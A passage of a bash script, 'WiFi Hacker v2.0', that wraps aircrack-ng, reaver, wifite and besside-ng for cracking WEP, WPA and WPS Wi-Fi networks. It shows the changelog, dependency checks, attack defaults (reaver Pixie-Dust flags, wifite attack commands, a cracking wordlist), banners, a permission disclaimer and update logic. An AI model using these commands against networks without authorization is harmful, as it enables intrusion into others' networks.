autowpa2 respectively to automate the attack. +# - Fixed a few $lastMenuID variables not properly set for menu navigation. +# - Added a wifite window alongside the aircrack window when selecting WPS attacks, to help decipher which targets support WPS more easily. + +# v1.0 +# - Activated the disclaimer when launching the script to make sure everyone knows the rules ;) +# - Added "checkRootStatus" to verify elevated privileges before launching main menu. +# - Fixed a few typos throughout the script. +# - Added Connection display to main menu. A status of "0" is disconnected and "1" is connected. +# - Added connection status check before allowing an attack mode to be selected. This prevents trying to start an attack and being locked into a channel and other abnormalities. +# - Added text display variables for connection status. They can be displayed as "None" or "Wifi", depending on if connection status is 0 or 1. + +# v0.9 +# - Removed the writeDCrackPy() function. This was used to write the Python script dcrack.py out to a file. + +# v0.8 +# - Added support for besside-ng. Used for cracking WPA/WPA2 passwords,and upload to cloud cracking, +# - Fixed the aircrack window from closing after running dictionary attack. +# - Added checkDependencies() function to check for all required files before loading main menu. +# - Fixed the Navigation Bar from not showing up on the Help menu. +# - Fixed the aircrack window from not closing when restarting WPA/WPA2 attacks. +# - Fixed Help and Advanced menus not returning to the last page when trying to go back. + +# v0.7 +# - Fixed WEP aircrack errors with ESSID names that have spaces in them. +# - Fixed Terminal Options not returning to previous menu properly. +# - Cleaned up some old code that is no longer being used or referenced. +# - Fixed reaver WPC files not getting copied correctly. +# - Now copies all WPC files during reaver startup, and overwrites current WPC file after reaver session ends. + +# v0.6 +# - Added time and date stamp to all $encryptionType.sessions log files. +# - The "Clean Capture Files" option now only removes files in the init directory, not sessions directory. +# - Fixed bug not returning back to Extras menu after selected task has been completed. +# - All created files will now be saved to the "/sessions/$encryptionType" directory by default. +# - Added getCurrentDate() and getCurrentTime() functions to use with sessions and backups. +# - Added Backup options to Extras menu. This creates a zip file with all saved sessions and capture files. +# - Added "*.kismit.csv" and "*.kismit.netxml" files to "Cleanup Capture Files" menu under Extras. +# - Changed all references from $currentTask to $lastMenuID because of menu navigation issues. +# - Added a new variable called $lastMenuID for (hopefully) proper navigation between menus. +# - Moved code for checking MAC Spoof Status into a checkSpoofStatus() function. Can now be used globally. +# - Fixed a typo in Load Session function. +# - Updated sessions save folder and organized by encryption type. +# - Added saving reaver session WPC files to default sessions folder. + +# v0.5 +# - Fixed WEP attack. It wasn't being properly redirected after the last v0.4 update. +# - All attack modes re-tested and seem to be working fine. +# - Added a check for empty encryption type to prevent doing certain tasks if no type has yet been selected. +# - Updated Save and Load session menu. It does not work properly from some menus. Still in testing. + +# v0.4 +# - Moved all initialization functions and variables to initMain(). This is only for "code cleanliness". +# - Updated aircrack and airodump redirection based on the encryption type of the attack. +# - Added "Clean Session Files" to Extras menu. Be careful with this and be sure to keep backups. +# - Fixed not being able to return to attacks menu from Save and Load session for WEP attacks. +# - Added a $currentTask variable to change dynamically depending on what function is being executed. +# - Moved aircrack windows for WPA and WPA2 attacks to external terminal windows. +# - Fixed not being able to leave aircrack window while running WPA and WPA2 attacks. + +# v0.3 +# - Updated WPA and WPA2 attack modes. Both are fully working and can load custom wordlists. +# - Added the ability to change terminals under Extras menu. Supports Gnome, Konsole, Xterm, and Custom. +# - Fixed blank session files being written when no encryption type has yet been selected. +# - Added a disclaimer that must be accepted before launching main menu (currently disabled). +# - Fixed both WPA and WPA2 from not writing proper values to "$capturePath/$encryptionType/$encryptionType.sessions" log file. +# - Fixed a bug in WPA/WPA2 that prevented returning to main menu or exiting from wordlist page. +# - Updated some on-screen text when deauth station is running for WEP, WPA, and WPA2. +# - Removed Auto mode from top banner, its now defaulted after choosing encryption type. + +# v0.2 +# - Fixed WEP and WPS (reaver) attacks. Both are fully working now! +# - Each attack type writes to its own log file now ("$capturePath/$encryptionType/$encryptionType.sessions"). +# - Cleaned up some old migrated code from previous scripts. + +# v0.1 +# - Initial version. Combined other current wifi scripts into one. + + +############################################################################ +# VERSION HISTORY END ################################################## +############################################################################ + + + + + +############################################################################ +# TO DO LIST BEGIN ##################################################### +############################################################################ + + +# Extend the width of the airodump windows when opening externally +# Add change options on-the-fly for WPS and other attack modes +# Add cowpatty support for WPA/WPA2 attacks +# Set an "ok so far" temp variable to see if all dependencies are available +# Set default $serverWPA veriable to some value other than blank +# Add sniffing/wireshark support +# Add support for airbase-ng +# Create separate handshake file with an appropriate filename +# Add "create wordlist" for phone numbers and possibly others. Add option for local +# Add checks and copy files created by besside to appropriate directories +# Add convert to .hccap support for ocl-hashcat and other compatible software +# Get advanced mode working +# Get help menu working + + +# Post-Exploitation Attacks To Add (Probably Scrap 20160514) + +# driftnet +# nmap +# wifi-honey + + +############################################################################ +# TO DO LIST END ####################################################### +############################################################################ + + + + + +############################################################################ +# INITIALIZATION OPTIONS BEGIN ######################################### +############################################################################ + + +initMain(){ + + #checkArgs + + checkLinuxVersion + + killAll + #startNetworkManager + + getCurrentDate + getCurrentTime + getCurrentDateAndTime + + setDependencies + checkDependencies + + resizeWindow + + setVariablesRequired + setVariablesOptional + setVariablesAdvanced + + setDefaults + setDefaultsWEP + setDefaultsWPA + setDefaultsWPA2 + setDefaultsWPS + + setDefaultSession + + setTerminalColors + + # Optionally show dependencies before launch + #showDependencies + + # Optionally Show Disclaimer Before Launch + showDisclaimer + + # Optionally Show Unreleased Text Before Launch + #isUnreleased + + # Load Main Menu + menuMain + +} + +checkArgs(){ + + case "$#" in + + "1") + if [ -e $1 ]; + then + echo "File $1 Exists" + else + echo "File $1 Does Not Exist" + fi + ;; + + esac +} + +checkLinuxVersion(){ + + # Set both default Kali values to ON and if blank, Kali is not present + isKali=1 + isKaliTwo=1 + + # Get Linux Build Info + linuxVersion=$(lsb_release -a | grep Description | cut -f2 -d":") + + # Check against the Linux Version for the presence of Kali + kali=$(echo "$linuxVersion" | grep Kali) + + # Check against the Linux Version for the presence of Kali 2.x + kaliTwo=$(echo "$linuxVersion" | grep Kali | grep 2.) + + # Check For Kali Linux + case "$kali" in + + "") + isKali=0 + ;; + esac + + # Check For Kali Linux 2.x + # Uses Aircrack-ng v1.2 RC2+ (Monitor Mode Is Different) + case "$kaliTwo" in + + "") + isKaliTwo=0 + ;; + esac + + #echo "Linux Version: $linuxVersion" + #echo "" + #echo "Is Kali?: $isKali" + #echo "" + #echo "Is Kali 2.x?: $isKaliTwo" + #read pause +} + + +############################################################################ +# INITIALIZATION OPTIONS END ########################################### +############################################################################ + + + + + +############################################################################ +# DEPENDENCY OPTIONS BEGIN ############################################# +############################################################################ + + +setDependencies(){ + + pathAircrack="/usr/bin/aircrack-ng" + pathAireplay="/usr/sbin/aireplay-ng" + pathAirodump="/usr/sbin/airodump-ng" + pathBesside="/usr/sbin/besside-ng" + pathCut="/usr/bin/cut" + pathDate="/bin/date" + pathGrep="/bin/grep" + pathHead="/usr/bin/head" + pathLink="/usr/bin/link" + pathMacchanger="/usr/bin/macchanger" + pathMkdir="/bin/mkdir" + pathPacketforge="/usr/sbin/packetforge-ng" + pathReaver="/usr/bin/reaver" + pathRmdir="/bin/rmdir" + pathSed="/bin/sed" + pathSleep="/bin/sleep" + pathTail="/usr/bin/tail" + pathWash="/usr/bin/wash" + pathWget="/usr/bin/wget" + +} + + +checkDependencies(){ + + #tempCounter=0 + #numberOfDependencies=0 + + #tempPath="" + #tempStatus="" + + # If counter is less than max dependencies, then build statuses + #if [ $tempCounter -lt $numberOfDependencies ]; + # then + # # Set Path Name + # if [ -f $tempPath ]; + # then + # # Set Status As Available + # $tempStatus="OK" + # else + # # Set Status As Unavailable + # $tempStatus="NA" + # fi + # else + # #echo "Done With Dependencies" + # #read pause + #fi + + if [ -f $pathAircrack ]; + then + statusPathAircrack="OK" + else + statusPathAircrack="NA" + fi + + if [ -f $pathAirodump ]; + then + statusPathAirodump="OK" + else + statusPathAirodump="NA" + fi + + if [ -f $pathAireplay ]; + then + statusPathAireplay="OK" + else + statusPathAireplay="NA" + fi + + if [ -f $pathBesside ]; + then + statusPathBesside="OK" + else + statusPathBesside="NA" + fi + + if [ -f $pathCut ]; + then + statusPathCut="OK" + else + statusPathCut="NA" + fi + + if [ -f $pathDate ]; + then + statusPathDate="OK" + else + statusPathDate="NA" + fi + + if [ -f $pathGrep ]; + then + statusPathGrep="OK" + else + statusPathGrep="NA" + fi + + if [ -f $pathHead ]; + then + statusPathHead="OK" + else + statusPathHead="NA" + fi + + if [ -f $pathLink ]; + then + statusPathLink="OK" + else + statusPathLink="NA" + fi + + if [ -f $pathMacchanger ]; + then + statusPathMacchanger="OK" + else + statusPathMacchanger="NA" + fi + + if [ -f $pathMkdir ]; + then + statusPathMkdir="OK" + else + statusPathMkdir="NA" + fi + + if [ -f $pathPacketforge ]; + then + statusPathPacketforge="OK" + else + statusPathPacketforge="NA" + fi + + if [ -f $pathReaver ]; + then + statusPathReaver="OK" + else + statusPathReaver="NA" + fi + + if [ -f $pathRmdir ]; + then + statusPathRmdir="OK" + else + statusPathRmdir="NA" + fi + + if [ -f $pathSed ]; + then + statusPathSed="OK" + else + statusPathSed="NA" + fi + + if [ -f $pathSleep ]; + then + statusPathSleep="OK" + else + statusPathSleep="NA" + fi + + if [ -f $pathTail ]; + then + statusPathTail="OK" + else + statusPathTail="NA" + fi + + if [ -f $pathWash ]; + then + statusPathWash="OK" + else + statusPathWash="NA" + fi + + if [ -f $pathWget ]; + then + statusPathWget="OK" + else + statusPathWget="NA" + fi + +} + + +downloadDependencies(){ + + blank="" + +} + + +showDependencies(){ + + banner + bannerStats + + echo "" + echo "List of File Dependencies Needed" + echo "" + echo "$pathAircrack - Status: $statusPathAircrack" + echo "$pathAireplay - Status: $statusPathAireplay" + echo "$pathAirodump - Status: $statusPathAirodump" + echo "$pathBesside - Status: $statusPathBesside" + echo "$pathCut - Status: $statusPathCut" + echo "$pathDate - Status: $statusPathDate" + echo "$pathGrep - Status: $statusPathGrep" + echo "$pathHead - Status: $statusPathHead" + echo "$pathLink - Status: $statusPathLink" + echo "$pathMacchanger - Status: $statusPathMacchanger" + echo "$pathMkdir - Status: $statusPathMkdir" + echo "$pathPacketforge - Status: $statusPathPacketforge" + echo "$pathReaver - Status: $statusPathReaver" + echo "$pathRmdir - Status: $statusPathRmdir" + echo "$pathSed - Status: $statusPathSed" + echo "$pathSleep - Status: $statusPathSleep" + echo "$pathTail - Status: $statusPathTail" + echo "$pathWash - Status: $statusPathWash" + echo "$pathWget - Status: $statusPathWget" + echo "" + echo "" + + echo "Press ENTER to continue...." + + read pause + +} + + +############################################################################ +# DEPENDENCY OPTIONS END ############################################### +############################################################################ + + + + + +############################################################################ +# TERMINAL OPTIONS BEGIN ############################################### +############################################################################ + + +setWindowTitle(){ + + currentTask="setWindowTitle" + + title='echo -ne "\033]0;WiFi Hacker v2.0\007"' + + $title + +} + + +resizeWindow(){ + + currentTask="resizeWindow" + + printf '\033[8;32;115t' + +} + + +setTerminalColors(){ + + currentTask="setTerminalColors" + + # Foreground Colors + defaultFG=$(echo 'printf' '\033[39m') + + black=$(echo 'printf' '\033[30m') + blue=$(echo 'printf' '\033[34m') + cyan=$(echo 'printf' '\033[36m') + darkGrey=$(echo 'printf' '\033[90m') + green=$(echo 'printf' '\033[32m') + lightBlue=$(echo 'printf' '\033[94m') + lightCyan=$(echo 'printf' '\033[96m') + lightGreen=$(echo 'printf' '\033[92m') + lightGrey=$(echo 'printf' '\033[37m') + lightMagenta=$(echo 'printf' '\033[95m') + lightRed=$(echo 'printf' '\033[91m') + lightYellow=$(echo 'printf' '\033[93m') + magenta=$(echo 'printf' '\033[35m') + red=$(echo 'printf' '\033[31m') + white=$(echo 'printf' '\033[0m') + whiteAlt=$(echo 'printf' '\033[97m') + yellow=$(echo 'printf' '\033[33m') + + # Background Colors + defaultBG=$(echo 'printf' '\033[49m') + + blackBG=$(echo 'printf' '\033[40m') + blueBG=$(echo 'printf' '\033[44m') + cyanBG=$(echo 'printf' '\033[46m') + darkGreyBG=$(echo 'printf' '\033[100m') + greenBG=$(echo 'printf' '\033[42m') + lightBlueBG=$(echo 'printf' '\033[104m') + lightCyanBG=$(echo 'printf' '\033[106m') + lightGreenBG=$(echo 'printf' '\033[102m') + lightGreyBG=$(echo 'printf' '\033[47m') + lightMagentaBG=$(echo 'printf' '\033[105m') + lightRedBG=$(echo 'printf' '\033[101m') + lightYellowBG=$(echo 'printf' '\033[103m') + magentaBG=$(echo 'printf' '\033[45m') + redBG=$(echo 'printf' '\033[41m') + whiteBG=$(echo 'printf' '\033[107m') + yellowBG=$(echo 'printf' '\033[43m') + +} + + +setTerminalTextEffects(){ + + currentTask="setTerminalTextEffects" + + textBlink=$(echo -e "\e[5m") + textBold=$(echo -e "\e[1m") + textDim=$(echo -e "\e[2m") + textHidden=$(echo -e "\e[8m") + textInverted=$(echo -e "\e[7m") + textUnderline=$(echo -e "\e[4m") + +} + + +############################################################################ +# TERMINAL OPTIONS END ################################################# +############################################################################ + + + + + +############################################################################ +# DEFAULT VARIABLES BEGIN ############################################## +############################################################################ + + +setVariablesRequired(){ + + currentTask="setVariablesRequired" + + versionBase="2.0" + versionBaseClean="00" + + initPath="$PWD" + + isDebugMode="0" + isDevBuild="0" + + # Update Stuff + versionRemote="0.0" + versionRemoteClean="00" + versionRemoteTemp="0.0" + newUpdateAvailable="0" + updateMaster=https://raw.githubusercontent.com/esc0rtd3w/wifi-hacker/master/wifi-hacker.sh + updateTemp="/tmp/update-check.tmp" + updateChecked="0" + skipUpdate="0" + returnToUpdatePage="0" + + # Setting default update downloaded script value + newVersionScript="0.0" + + # Check Gnome version for terminal options (added 20190205) + gnomeVer=$(gnome-terminal --version | grep "3.") + + case "$gnomeVer" in + + # Kali 2018.4 GNOME Terminal 3.30.0 using VTE 0.54.1 +GNUTLS + "") + gnomeOptions="legacy" + terminal="gnome-terminal -x" + terminalGnome="gnome-terminal -x" + terminalGnomeLegacy="gnome-terminal -x" + ;; + + *) + gnomeOptions="new" + terminal="gnome-terminal --window --geometry=132x24 --" + terminalGnome="gnome-terminal --window --geometry=132x24 --" + terminalGnomeLegacy="gnome-terminal -x" + ;; + + esac + + #echo "gnomeOptions: $gnomeOptions" + #read pause + + terminalKonsole="konsole -e" + terminalXterm="xterm -e" + + bin="" + +} + + +setVariablesOptional(){ + + currentTask="setVariablesOptional" + + blank="" + +} + + +setVariablesAdvanced(){ + + currentTask="setVariablesAdvanced" + + blank="" + +} + + +setDefaults(){ + + currentTask="setDefaults" + startMonitorMode="airmon-ng start" + stopMonitorMode="airmon-ng stop" + + getRandomMacAddress="" + spoofStatus="0" + resetSpoofStatus="0" + + encryptionType="empty" + encryptionTypeText="Empty" + + ipStatus="0" + + interface="wlan0" + #interfaceMonitor="mon0" + interfaceMonitor="wlan0mon" + interfaceName="wlan0" + interfaceMode="0" + interfaceNumber="0" + interfaceNumberMax="99" + interfacesFound="0" + bssid="" + essid="" + channel="" + + noChannel="0" + + # This is used to return from backupCaptureFiles if invoked from backupCaptureFiles + backupFromCaptureErase="0" + + # This is used to return from backupSessionFiles if invoked from backupSessionFiles + backupFromSessionErase="0" + + + # Default Attack Methods + attackMethodWEP="" + attackMethodWPS="reaver" + attackMethodWPA="" + attackMethodWPA2="" + + + #Find Network Adapter Commands + showAdapterPciAll=$(lspci | egrep -i 'network|ethernet') + showAdapterUsbAll=$(lsusb | egrep -i '') + showAdapterUsbAtheros=$(lsusb | egrep -i 'atheros|0cf3') + + # Atheros WiFi Adapters + showAdapterUsbAtherosAR9271=$(lsusb | egrep -i 'AR9271' | cut -d ":" -f3) + + # Intel WiFi Adapters + showAdapterUsbIntel6205=$(lspci | egrep -i 'Intel Corporation Centrino Advanced-N 6205' | cut -d ":" -f3) + + # Support For 10 Adapter Names + adapterNameDefault="No Adapter Name Available" + showAdapterOneName="$adapterNameDefault" + showAdapterTwoName="$adapterNameDefault" + showAdapterThreeName="$adapterNameDefault" + showAdapterFourName="$adapterNameDefault" + showAdapterFiveName="$adapterNameDefault" + showAdapterSixName="$adapterNameDefault" + showAdapterSevenName="$adapterNameDefault" + showAdapterEightName="$adapterNameDefault" + showAdapterNineName="$adapterNameDefault" + showAdapterTenName="$adapterNameDefault" + + # Default Capture Lists Values + listCap=0 + listIvs=0 + listXor=0 + listCsv=0 + listNetXml=0 + + hotkeyInput="" + + apListType="" + + # Default Session Values + sessionID="0" + + capturePath=$(echo "$PWD/sessions") + capturePathWEP=$(echo "$PWD/sessions/wep") + capturePathWPS=$(echo "$PWD/sessions/wps") + capturePathWPA=$(echo "$PWD/sessions/wpa") + capturePathWPA2=$(echo "$PWD/sessions/wpa2") + + # Default Current Directory Temp Path + whTemp=$(echo "$PWD/temp") + + defaultScanOutputIVS="$initPath/apScan-01.ivs" + defaultScanOutputXML="$initPath/apScan-01.kismet.netxml" + defaultScanOutputTXT="$initPath/apScan-01.txt" + +} + + +setDefaultsWEP(){ + + currentTask="setDefaultsWEP" + + # aircrack-ng cracking mode WEP + acMode="1" + + # aircrack-ng cracking mode WEP (WPA-PSK) + #acMode="2" + + washFile="$whTemp/wash.txt" + washChannel="1" + +} + + +setDefaultsWPA(){ + + currentTask="setDefaultsWPA" + + wordlist="/usr/share/wordlists/metasploit/password.lst" + + retryDeauth="0" + + serverWPA="" + +} + + +setDefaultsWPA2(){ + + currentTask="setDefaultsWPA2" + +} + + +setDefaultsWPS(){ + + currentTask="setDefaultsWPS" + + reaver="reaver" + + reaverSessionPath="etc/reaver" + bssidCharOnly="" + + reaverInterfaceInput="" + reaverBSSIDInput="" + + reaverChannelInput="" + reaverESSIDInput="" + reaverExecInput="" + reaverMACInput="" + reaverOutfileInput="" + reaverSessionInput="" + + reaverDelayInput="" + reaverFailWaitInput="" + reaverM57TimeoutInput="" + reaverMaxAttemptsInput="" + reaverPinInput="" + reaverTimeoutInput="" + + reaverDelay="--delay=" + reaverDHSmall="--dh-small" + reaverEAPTerminate="--eap-terminate" + reaverFailWait="--fail-wait=" + reaverIgnoreLocks="--ignore-locks" + reaverM57Timeout="--m57-timeout=" + reaverMaxAttempts="--max-attempts=" + reaverNack="--nack" + reaverNoAssociate="--no-associate" + reaverNoNacks="--no-nacks" + reaverPin="--pin=" + reaverRecurringDelay="--recurring-delay" + reaverTimeout="--timeout=" + reaverWin7False="--win7" + + reaver5ghz="--5ghz" + reaverAuto="--auto" + reaverChannel="--channel=" + reaverDaemonize="--daemonize" + reaverESSID="--essid=" + reaverExec="--exec=" + reaverFixed="--fixed" + reaverHelp="--help" + reaverMAC="--mac=" + reaverOutfile="--out-file=" + reaverQuiet="--quiet" + reaverSession="--session=" + reaverVerbose="-v" + reaverVerboseMore="-vv" + + # Updated Options + reaverDaemonize="-D" + reaverExhaustive="-X" + reaverNoAutoPass="-Z" + reaverP1Index="-1" + reaverP2Index="-2" + reaverPixie="-K" + reaverPixieLoop="-P" + reaverGeneratePin="-W" + + reaverCurrentSessionFile="" + + # -K Argument Number (Default 1) + pixieNumber="1" + + # Check to see if Pixie Attack Failed + pixieFailed="0" + + + wifite="wifite" + wifiteAttackAll="wifite --all" + wifiteAttackWEP="wifite --all --wep" + wifiteAttackWPA="wifite --all --wpa" + wifiteAttackWPA2="wifite --all --wpa" + wifiteAttackWPS="wifite --all --wps" + + # Bully Options + #bully interface + +} + + +############################################################################ +# DEFAULT VARIABLES END ################################################ +############################################################################ + + + + + +############################################################################ +# DISCLAIMER BEGIN ##################################################### +############################################################################ + + +showDisclaimer(){ + + currentTask="showDisclaimer" + lastMenuID="showDisclaimer" + + sessionCreatePaths + sessionRemoveEmpty + + bannerSlim + + $cyan + echo "" + echo "****************************************************************************************************" + echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET" + echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES." + echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL." + echo "****************************************************************************************************" + echo "" + $green + echo "**********************************************************" + echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!" + echo "**********************************************************" + $white + echo "" + echo "By using this script, you are agreeing to the following terms:" + echo "" + echo "1) Not to be used for attacking access points that you do not have permission to test" + echo "" + echo "2) Stay within legal limits of transmission power, depending on your country laws" + echo "" + echo "3) Stay within legal limits of channel usage, depending on your country laws" + echo "" + $green + echo "**********************************************************" + echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!" + echo "**********************************************************" + $white + echo "" + echo "" + echo "" + echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE" + echo "" + + read agreeToDisclaimer + + case "$agreeToDisclaimer" in + + "") + bannerExit + ;; + + "Y" | "y") + checkForUpdates + fixNegativeOneChannelError + #initAirmon + fixAirmonCompat + #startNetworkManager + #killNetworkManager + #wpaSupplicantKill + #initMonitorMode + #stopMonitorMode + #checkMultipleAdapters + menuMain + ;; + + *) + bannerExit + ;; + + esac + +} + + +isUnreleased(){ + + currentTask="isUnreleased" + lastMenuID="isUnreleased" + + sessionCreatePaths + sessionRemoveEmpty + + bannerSlim + + $cyan + echo "" + echo "****************************************************************************************************" + echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET" + echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES." + echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL." + echo "****************************************************************************************************" + echo "" + $green + echo "**********************************************************" + echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!" + echo "**********************************************************" + echo "" + $yellow + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***" + echo "" + $green + echo "**********************************************************" + echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!" + echo "**********************************************************" + echo "" + echo "" + echo "" + $white + echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE" + echo "" + + read agreeToDisclaimer + + case "$agreeToDisclaimer" in + + "") + bannerExit + ;; + + "Y" | "y") + checkForUpdates + fixNegativeOneChannelError + #initAirmon + fixAirmonCompat + #startNetworkManager + #killNetworkManager + #wpaSupplicantKill + #initMonitorMode + #stopMonitorMode + #checkMultipleAdapters + menuMain + ;; + + *) + bannerExit + ;; + + esac + +} + + +############################################################################ +# DISCLAIMER END ####################################################### +############################################################################ + + + + + +############################################################################ +# BANNERS BEGIN ######################################################## +############################################################################ + + +banner(){ + + setWindowTitle + + currentTask="banner" + + clear + $blue + echo "--------------------- **************************************************************** ----------------------" + echo "| [M] Main Menu | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [X] Exit |" + echo "--------------------- **************************************************************** ----------------------" + $yellow + echo "-------------------------------------------------------------------------------------------------------------------" + echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |" + echo "-------------------------------------------------------------------------------------------------------------------" + #echo "" + $white + +} + + +bannerNoMenu(){ + + currentTask="bannerNoMenu" + + setWindowTitle + + clear + $blue + echo "--------------------- **************************************************************** ----------------------" + echo "| [ CTRL+C ] Main | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C x2 ] Exit |" + echo "--------------------- **************************************************************** ----------------------" + $yellow + echo "-------------------------------------------------------------------------------------------------------------------" + echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |" + echo "-------------------------------------------------------------------------------------------------------------------" + #echo "" + $white + +} + + +bannerMain(){ + + currentTask="bannerMain" + + setWindowTitle + + clear + $blue + echo "--------------------- **************************************************************** ----------------------" + echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |" + echo "--------------------- **************************************************************** ----------------------" + echo "-------------------------------------------------------------------------------------------------------------------" + $yellow + echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |" + echo "-------------------------------------------------------------------------------------------------------------------" + #echo "" + $white + +} + +bannerMenu(){ + + currentTask="bannerMenu" + + setWindowTitle + + clear + $blue + echo "--------------------- **************************************************************** ----------------------" + echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |" + echo "--------------------- **************************************************************** ----------------------" + $yellow + echo "-------------------------------------------------------------------------------------------------------------------" + echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |" + echo "-------------------------------------------------------------------------------------------------------------------" + #echo "" + $white + +} + +bannerSlim(){ + + currentTask="bannerSlim" + + setWindowTitle + + clear + $blue + echo "--------------------- **************************************************************** ----------------------" + echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |" + echo "--------------------- **************************************************************** ----------------------" + $white + +} + + +bannerStats(){ + + currentTask="bannerStats" + + $cyan + echo "-------------------------------------------------------------------------------------------------------------------" + echo "Interface: $interfaceName / MAC: $macAddressMonitor / ESSID: $essid / BSSID: $bssid / Channel: $channel" + echo "-------------------------------------------------------------------------------------------------------------------" + echo "" + $white + +} + +bannerExit(){ + + currentTask="bannerExit" + + sessionWriteEndCurrent + + sessionRemoveEmpty + + forceDisconnectWifi + + clear + $blue + echo "Thank You For Playing Fair ;)" + echo "" + echo "esc0rtd3w 2019" + echo "" + echo "" + $cyan + echo "View My Other Projects On GitHub:" + echo "" + echo "https://github.com/esc0rtd3w" + echo "" + echo "" + + exit + +} + +bannerExitUpdate(){ + + currentTask="bannerExitUpdate" + + clear + $green + echo "The WiFi Hacker Script Has Been Updated To Version $versionRemote" + echo "" + echo "The New Script Is Located At $initPath/$newVersionScript" + echo "" + echo "" + echo "" + echo "To launch the new script type the following two lines into this terminal WITHOUT QUOTES" + echo "" + echo "\"chmod a+x $newVersionScript\"" + echo "" + echo "\"./$newVersionScript\"" + echo "" + echo "" + echo "" + $blue + echo "Thank You For Playing Fair ;)" + echo "" + echo "esc0rtd3w 2019" + echo "" + echo "" + $cyan + echo "View My Other Projects On GitHub:" + echo "" + echo "https://github.com/esc0rtd3w" + echo "" + echo "" + + exit + +} + + +############################################################################ +# BANNERS END ########################################################## +############################################################################ + + + + + +############################################################################ +# GLOBAL TEXT BEGIN #################################################### +############################################################################ + + +# Usage: doSleepMessage "message" "time" "color" +# Usage Example: doSleepMessage "Please Wait...." "5" "$red" +doSleepMessage(){ + + message="$1" + time="$2" + color="$3" + + currentTask="doSleepMessage" + + banner + bannerStats + $color + echo "$message" + sleep $time + +} + + +############################################################################ +# GLOBAL TEXT END ###################################################### +############################################################################ + + + + + +############################################################################ +# UPDATE STUFF BEGIN ################################################### +############################################################################ + + +checkForUpdates(){ + + currentTask="checkForUpdates" + + checkConnectionStatus + + # If a blank entry was made to skip update then this value should be 1 + case "$skipUpdate" in + + "0") + # If connection can connect to internet, check for update + case "$ipStatus" in + + "1") + menuUpdate + ;; + + esac + + ;; + + esac + +} + + +menuUpdate(){ + + currentTask="menuUpdate" + + # Check remote server for update version + case "$updateChecked" in + + "0") + + # Make sure there is an active internet connection + case "$ipStatus" in + + "1") + checkUpdate + ;; + + esac + + ;; + + esac + + # Set default choice + updateChoice="" + + bannerSlim + + echo "" + #echo "Update Menu" + #echo "" + #echo "" + #echo "" + + # If remote version is not newer, then local version should be green + case "$newUpdateAvailable" in + + "0") + $green + ;; + + "1") + $yellow + ;; + + "2") + $magenta + ;; + + esac + + echo "Local Version: v$versionBase" + echo "" + + # If remote version is newer, then local version should not be green + case "$newUpdateAvailable" in + + "0") + $yellow + ;; + + "1") + $green + ;; + + "2") + $magenta + ;; + + esac + + echo "Remote Version: v$versionRemote" + $white + echo "" + echo "" + echo "" + echo "" + echo "" + echo "Choose an option and press ENTER:" + echo "" + echo "" + echo "1) Check For New Update" + echo "" + echo "2) Apply New Update" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "AUTOMATICALLY CONTINUING IN 10 SECONDS...." + $white + echo "" + + #read updateChoice + read -t 10 updateChoice + + case "$updateChoice" in + + "") + skipUpdate="1" + returnToUpdatePage="0" + #read pause + ;; + + "1") + # Reset updateChecked Flag + updateChecked="0" + + returnToUpdatePage="1" + checkUpdate + ;; + + "2") + + case "$newUpdateAvailable" in + + # No Update Available / Remote Version Matches Local + "0") + returnToUpdatePage="0" + + banner + $red + echo "" + echo "No Updates Are Available!" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "Continuing To Main Menu In 5 Seconds...." + echo "" + echo "" + + read -t 5 noUpdateAvailable + ;; + + # Update Is Available / Remote Version Is Higher Than Local + "1") + returnToUpdatePage="0" + getUpdate + ;; + + # Dev Build / Remote Version Is Lower Than Local + 